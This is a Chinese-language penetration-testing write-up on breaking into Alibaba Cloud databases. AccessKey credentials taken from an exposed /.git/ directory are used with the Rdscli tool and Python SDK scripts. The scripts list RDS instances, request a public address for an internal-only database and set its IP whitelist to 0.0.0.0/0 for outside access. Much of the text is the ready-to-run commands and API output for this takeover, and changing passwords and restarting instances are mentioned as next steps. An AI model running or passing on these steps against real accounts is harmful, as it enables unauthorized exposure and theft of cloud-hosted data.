云上渗透-基于阿里云环境渗透
在配合某省的WA前期渗透侦查CX中，通过/.git/获取到网站源码，查看配置文件发现该系统使用OSS进行文件存储,配置如下：
ACCESSKEYID=XXXXX ACCESSKEYSECRET=XXXXX ENDPOINT=oss-cn-beijing.aliyuncs.com
DB_HOST=rm-xxxxx.mysql.rds.aliyuncs.com
DB_PORT=3306
DB_USER=xxxx
DB_PASSWORD=xxxxx
之前了解过，通过KEYID（非子账户）,可以获取到阿里云的服务器权限，例如一些运维平台支持类似这种使用。
但是这些服务器的密码并不知道，及时知道，大部分服务器VPC对外仅开了80，443，而且异地登录会发送告警，这样的方法不可取。
获取到MYSQL，但是通过ping，可以看到实际上是一个内网IP，其实服务器是在一个VPC里，也就是数据库只允许内网来链接，这样我们怎么办呢，可能都束手无策了吧。
主要需要分析数据，但是RDS并不允许连接。查询阿里云相关文件，发现RDS其实也可以使用ACCESSKEY来进行操作的。
通过阿里云官网，可以下载工具Rdscli https://market.aliyun.com/products/53690006/cmgj000311.html#sku=mianfeiban
查看相关文档，配置就不再次啰嗦了，文档里面都包含：
通过key查看账户下RDS相关实例：
rds DescribeDBInstances --PageSize 50
返回如下：
[root@localhost Rdscli]# rds DescribeDBInstances --PageSize 50 -------------------------------------------------------------- | DescribeDBInstances | +-------------------+----------------------------------------+ | PageNumber | 1 | | PageRecordCount | 6 | | RequestId | XXXXXXXX-XXXX-4A0B-97C1-C5XXXXXXXXXX | | TotalRecordCount | 6 | +-------------------+----------------------------------------+ || Items || |+----------------------------------------------------------+| ||| DBInstance ||| ||+-------------------------+------------------------------+|| ||| ConnectionMode | Standard ||| ||| CreateTime | 2020-08-14T12:46:23Z ||| ||| DBInstanceClass | rds.mysql.s3.large ||| ||| DBInstanceDescription | rr-XXXXXXXXXXXXXXXXX ||| ||| DBInstanceId | rr-XXXXXXXXXXXXXXXXX ||| ||| DBInstanceNetType | Intranet ||| ||| DBInstanceStatus | Running ||| ||| DBInstanceStorageType | ||| ||| DBInstanceType | Readonly ||| ||| Engine | MySQL ||| ||| EngineVersion | 8.0 ||| ||| ExpireTime | 2020-10-14T16:00:00Z ||| ||| InsId | 1 ||| ||| InstanceNetworkType | VPC ||| ||| LockMode | Unlock ||| ||| LockReason | ||| ||| MasterInstanceId | rm-XXXXXXXXXXXXXXXXX ||| ||| MutriORsignle | False ||| ||| PayType | Prepaid ||| ||| RegionId | cn-beijing ||| ||| ResourceGroupId | rg-XXXXXXXXXXXXXXX ||| ||| VSwitchId | vsw-XXXXXXXXXXXXXXXXXXXXX ||| ||| VpcCloudInstanceId | rr-XXXXXXXXXXXXXXXXX ||| ||| VpcId | vpc-XXXXXXXXXXXXXXXXXXXXX ||| ||| ZoneId | cn-beijing-h ||| ||+-------------------------+------------------------------+||
通过工具获取实例ID，查看某个实例信息：
rds ExportDBInstance --DBInstanceId rr-XXXXXXX --filename test
返回实例详细信息：
{ "Items": { "DBInstanceAttribute": [ { "Category": "HighAvailability", "SupportUpgradeAccountType": "No", "InsId": 1, "LockMode": "Unlock", "ConnectionString": "rr-xxxxxxxxxx.mysql.rds.aliyuncs.com", "MasterInstanceId": "rm-xxxxxxxxxxxx", "DBInstanceStorageType": "local_ssd", "DBInstanceNetType": "Intranet", "ReadDelayTime": "0", "ReadOnlyDBInstanceIds": { "ReadOnlyDBInstanceId": [] }, "SupportCreateSuperAccount": "No", "MaxConnections": 2000, "DBInstanceClassType": "x", "Engine": "MySQL", "AvailabilityValue": "100.0%", "CanTempUpgrade": true, "VpcId": "vpc-xxxxxxxxxxx", "IPType": "IPv4", "DBMaxQuantity": 99999, "ConnectionMode": "Standard", "RegionId": "cn-beijing", "SlaveZones": { "SlaveZone": [] }, "ResourceGroupId": "rg-xxxx", "VSwitchId": "vsw-xxxxxx", "InstanceNetworkType": "VPC", "ExpireTime": "2020-10-14T16:00:00Z", "ConsoleVersion": "", "DBInstanceType": "Readonly", "DBInstanceStatus": "Running", "ProxyType": 0, "DispenseMode": "ClassicDispenseMode", "CreationTime": "2020-08-14T12:46:23Z", "SecurityIPMode": "normal", "SuperPermissionMode": "", "AutoUpgradeMinorVersion": "Auto", "EngineVersion": "8.0", "CurrentKernelVersion": "rds_20200630", "DBInstanceDiskUsed": 67697115136, "IncrementSourceDBInstanceId": "rm-xxxxxxx", "VpcCloudInstanceId": "rr-xxxxxxx", "DBInstanceMemory": 8192, "MaxIOPS": 5000, "DedicatedHostGroupId": "", "DBInstanceStorage": 100, "DBInstanceDescription": "rr-xxxxxxx", "Extra": { "DBInstanceIds": { "DBInstanceId": [] } }, "LatestKernelVersion": "rds_20200630", "DBInstanceId": "rr-xxxxxxxxxxxx", "PayType": "Prepaid", "AccountMaxQuantity": 99999, "OriginConfiguration": "", "MaintainTime": "18:00Z-22:00Z", "DBInstanceCPU": "4", "AccountType": "Mix", "DBInstanceClass": "rds.mysql.s3.large", "SecurityIPList": "", "Port": "3306", "ZoneId": "cn-beijing-h" } ] }, "RequestId": "A1A4E351-1778-xxxx-9D57-xxxxxxx"
然后我自己在阿里云注册了一个看看RDS平台提供的功能：
注册发现，实际上RDS分为内网域名和外网域名的，默认是不开外网地址的，需要自己去申请，查看的RDS ConnectionString 很明显是一个内网的地址。
查询官方API，发现有支持此功能的API：
调用AllocateInstancePublicConnection接口申请实例的外网地址
https://help.aliyun.com/document_detail/26234.html?spm=a2c4g.11186623.6.1655.6eb83c34jOC0ON
申请外网地址代码如下：
#!/usr/bin/env python #coding=utf-8 from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkrds.request.v20140815.AllocateInstancePublicConnectionRequest import AllocateInstancePublicConnectionRequest client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing') request = AllocateInstancePublicConnectionRequest() request.set_accept_format('json') request.set_DBInstanceId("DBInstanceId") request.set_ConnectionStringPrefix("public_domain") request.set_Port("3306") response = client.do_action_with_exception(request) # python2: print(response) print(str(response, encoding='utf-8'))
开通完外网域名之后，我们再去查询一下RDS实例域名地址：
调用DescribeDBInstanceNetInfo接口查询实例的所有连接地址信息:
#!/usr/bin/env python #coding=utf-8 from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkrds.request.v20140815.DescribeDBInstanceNetInfoRequest import DescribeDBInstanceNetInfoRequest client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-hangzhou') request = DescribeDBInstanceNetInfoRequest() request.set_accept_format('json') request.set_DBInstanceId("DBInstanceId") response = client.do_action_with_exception(request) # python2: print(response) print(str(response, encoding='utf-8'))
返回如下：
{ "RequestId": "xxxx-xx-xx-xx-xxxxxxx", "DBInstanceNetInfos": { "DBInstanceNetInfo": [ { "IPType": "Private", "VPCId": "vpc-xxxxxxxxx", "Port": "3306", "VSwitchId": "vsw-xxxxxx", "Upgradeable": "Disabled", "ConnectionString": "rm-xxxxxx.mysql.rds.aliyuncs.com", "IPAddress": "172.xx.xxx.xxx", "SecurityIPGroups": { "securityIPGroup": [] }, "DBInstanceWeights": { "DBInstanceWeight": [] }, "ConnectionStringType": "Normal" }, { "IPType": "Public", "VPCId": "", "Port": "3306", "VSwitchId": "", "Upgradeable": "Disabled", "ConnectionString": "rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com", "IPAddress": "xxx.xxx.xxx.xxx", "SecurityIPGroups": { "securityIPGroup": [] }, "DBInstanceWeights": { "DBInstanceWeight": [] }, "ConnectionStringType": "Normal" } ] }, "SecurityIPMode": "normal", "InstanceNetworkType": "VPC" }
这样就获取到这个RDS外网地址了，获取外网地址，发现端口不通。
测试发现我自己的也不通，看来是网络的问题了，查一下文档：
解决RDS外网无法访问：https://help.aliyun.com/knowledge_detail/96028.html#2
1、确认访问RDS实例的IP地址已添加到RDS白名单。如果未添加，请参见设置白名单，进行设置。
2、检查ECS实例的安全组。
登录云服务器管理控制台。
找到该实例，单击管理进入实例详情页面，在左侧导航栏，单击本实例安全组。在内网出方向安全全部规则中确认不存在对RDS实例的限制策略。
请检查是否开启了高安全白名单模式，具体请参见高安全白名单模式。如果已开启，需确保设备公网IP地址已添加到经典网络的分组。
注意：专有网络的分组不适用于公网。
3、查看RDS实例的状态，检查是否存在因为磁盘空间超出购买规格限制而被锁定。在实例锁定期间，应用无法对RDS数据库进行读写操作，详情请参见如何排查MySQL实例空间满后自动锁定的原因。
4、通过查看RDS实例的性能监控。
其他性能问题请参见解决CPU、内存、空间、IOPS使用率偏高的问题。
如是业务正常增长，建议您对实例进行配置升级。
说明：升配过程中可能会有一次30s左右的闪断，建议用户做好连接重连机制，保证用户业务的正常运行，具体信息请参考RDS使用须知。
5、确认白名单中添加的设备公网IP地址为设备真正的出口IP地址。IP地址填写错误的原因如下：
设备的公网IP地址不固定，可能会变动。
IP地址查询工具或网站查询的公网IP地址不准确。关于确认设备公网IP地址的方法，请参见定位本地IP。
6、确认使用的连接地址为RDS的外网地址。
看了下我自己的：
RDS默认是127.0.0.1，拒绝所有的，所以我们需要设置一下，允许我们来链接，这样就不会因为火墙就不会导致端口不通了。
可以先查一下IP白名单：
调用DescribeDBInstanceIPArrayList接口查询RDS实例IP白名单。
https://help.aliyun.com/document_detail/26241.html?spm=a2c4g.11186623.6.1715.34013a167E3PKs
调用DescribeDBInstanceAttribute接口查询RDS实例的详细信息。
https://help.aliyun.com/document_detail/26231.html?spm=5176.10695662.1996646101.searchclickresult.5afd39f8vo1M3l
# 查询IP白名单 request = DescribeDBInstanceIPArrayListRequest() request.set_accept_format('json') request.set_DBInstanceId("rm-2ze8wbh1ci8i24zgq") response = client.do_action_with_exception(request)
然后我们再添加一下IP白名单：
调用ModifySecurityIps接口修改RDS实例IP白名单。
https://help.aliyun.com/document_detail/26242.html?spm=a2c4g.11186623.6.1717.14755667CITNGy
from aliyunsdkrds.request.v20140815.ModifySecurityIpsRequest import ModifySecurityIpsRequest client = AcsClient('xxxxx', 'xxxxxxx', 'cn-beijing') # 修改IP白名单 request = ModifySecurityIpsRequest() request.set_accept_format('json') request.set_DBInstanceId("rm-xxxxxxx") request.set_SecurityIps("0.0.0.0/0") response = client.do_action_with_exception(request) # python2: print(response) print(str(response))
设置0.0.0.0/0所有对外就都可以链接了。
这样，我们就获得了RDS的外网域名，RDS外网访问权限。
刚才说的工具命令也提供了部分功能：
[root@localhost Rdscli]# rds help usage: rds <operation> [options and parameters] [rds] valid operations as follows: CancelImport | CreateAccount CreateBackup | CreateDBInstance CreateDBInstanceForChannel | CreateDBInstanceforFirstPay CreateDatabase | CreatePostpaidDBInstance CreateTempDBInstance | CreateUploadPathForSQLServer DeleteAccount | DeleteDBInstance DeleteDatabase | DescribeAccounts DescribeBackupPolicy | DescribeBackups DescribeBinlogFiles | DescribeDBInstanceAttribute DescribeDBInstancePerformance | DescribeDBInstances DescribeDatabases | DescribeErrorLogs DescribeFilesForSQLServer | DescribeImportsForSQLServer DescribeOptimizeAdviceByDBA | DescribeOptimizeAdviceOnBigTable DescribeOptimizeAdviceOnExcessIndex | DescribeOptimizeAdviceOnMissIndex DescribeOptimizeAdviceOnMissPK | DescribeOptimizeAdviceOnStorage DescribeParameterTemplates | DescribeParameters DescribeRegions | DescribeResourceUsage DescribeSQLLogRecords | DescribeSQLLogReports DescribeSlowLogRecords | DescribeSlowLogs ExportDBInstance | GrantAccountPrivilege ImportDBInstance | ImportDataForSQLServer ImportDatabaseBetweenInstances | ModifyAccountDescription ModifyBackupPolicy | ModifyDBDescription ModifyDBInstanceDescription | ModifyDBInstanceMaintainTime ModifyDBInstanceSpec | ModifyParameter ModifyPostpaidDBInstanceSpec | ModifySecurityIps PurgeDBInstanceLog | ResetAccountPassword RestartDBInstance | RevokeAccountPrivilege SwitchDBInstanceNetType | UpgradeDBInstanceEngineVersion
例如：
rds ExportDBInstance --DBInstanceId rr-xxxxx --ModifySecurityIps 0.0.0.0/0
和Python脚本一样，即可外网链接。
同样，我们也可以开通一个安全组、修改RDS密码，重启RDS等等操作。
RDS API
https://help.aliyun.com/document_detail/182821.html?spm=a2c4g.11186623.2.10.4b1b2eb15RxpE2#doc-8073
